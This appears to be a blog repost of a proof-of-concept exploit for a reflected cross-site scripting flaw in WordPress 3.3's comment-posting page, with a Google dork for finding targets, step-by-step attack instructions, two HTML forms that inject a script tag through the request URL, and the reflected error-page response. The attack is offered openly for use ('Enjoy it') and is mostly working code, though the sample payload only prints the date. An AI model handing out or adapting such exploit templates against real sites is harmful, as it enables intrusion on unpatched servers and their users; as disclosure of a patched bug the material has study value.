WordPress 3.3 XSS Vulnerability Example & Proof of Concept

This is proof of concept of XSS Vulnerability of WordPress 3.3, wrote by Aditya Modha and Samir Shah. Enjoy it:

# Exploit Title: Reflected Cross Site Scripting in wordpress 3.3 # Google Dork: intext:"Proudly powered by WordPress" # Date: 2.Jan.2012 # Author: Aditya Modha, Samir Shah # Greetz: Jigar Soni, Mr 52 # Software Link: http://www.wordpress.org/download/ # Version: 3.3 # Tested on: apache # CVE : Nope. Step 1: Post a comment to the target website Step 2: Replace the value of author tag, email tag, comment tag with the exact value of what has been post in the last comment. Change the value of comment_post_ID to the value of post (which can be known by opening that post and checking the value of p parameter in the url). For example the if the url is http://192.168.1.102/wordpress/?p=6 then the value of comment_post_ID is 6. [sourcecode language="html"] <html> <title>Wordpress 3.3 XSS PoC</title> <body> <form name="XSS" id="XSS" action="http://host/wordpress/wp-comments-post.php?</style><script>document.write(Date())</script><style>" method="POST"> <input type="hidden" name="author" value="replace me"> <input type="hidden" name="email" value="replace me"> <input type="hidden" name="url" value=""> <input type="hidden" name="comment" value="replace me"> <input type="hidden" name="submit" value="Post Comment"> <input type="hidden" name="comment_post_ID" value="replace me"> <input type="hidden" name="comment_parent" value="0"> <input type="button" value="Click Me" /> </form> </body> </html> [/sourcecode] Step 3: Publish the above html file on the web server and access it. Click on "Click Me" button. This will try to post the comment to wordpress which will flag this comment as duplicate comment with the 500 Internal server error response. Here our XSS payload will get executed. Check wordpress_3.3_xss.png file. Step 4: The response code where XSS payload reflects is given below [sourcecode language="html"] <!DOCTYPE html>  <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>WordPress &rsaquo; Error</title> <style type="text/css"> html { background: #f9f9f9; } body { background: #fff; color: #333; ..............snip.................... .button { background: #f2f2f2 url(http://192.168.1.102/wordpress/wp-comments-post.php?</style><script>document.write(Date())</script><style>/wp-admin/images/white-grad.png) repeat-x scroll left top; } .button:active { background: #eee url(http://192.168.1.102/wordpress/wp-comments-post.php?</style><script>document.write(Date())</script><style>/wp-admin/images/white-grad-active.png) repeat-x scroll left top; } </style> </head> <body id="error-page"> <p>Duplicate comment detected; it looks as though you’ve already said that!</p></body> </html> [/sourcecode] UPDATE: It will even work if you do not supply any comment data. Duplicate comment event is not necessary. And i forgot to mention that this will only work with Internet Explorer since other browser like firefox and chrome will url encode our XSS payload. [sourcecode language="html"] <html> <title>Wordpress 3.3 XSS PoC</title> <body> <form name="XSS" id="XSS" action="http://host/wp-comments-post.php?</style><script>document.write(Date())</script><style>" method="POST"> <input type="hidden" name="author" value="oldman"> <input type="hidden" name="email" value="oldmanlab@gmail.com"> <input type="hidden" name="url" value=""> <input type="hidden" name="comment" value=""> <input type="hidden" name="submit" value="Post Comment"> <input type="hidden" name="comment_post_ID" value="replace_me"> <input type="hidden" name="comment_parent" value="0"> <input type="submit" value="Click Me" /> </form> </body> </html> [/sourcecode]

Please respect the system administrator, don't crack too much and warn him. Update your WordPress A.S.A.P!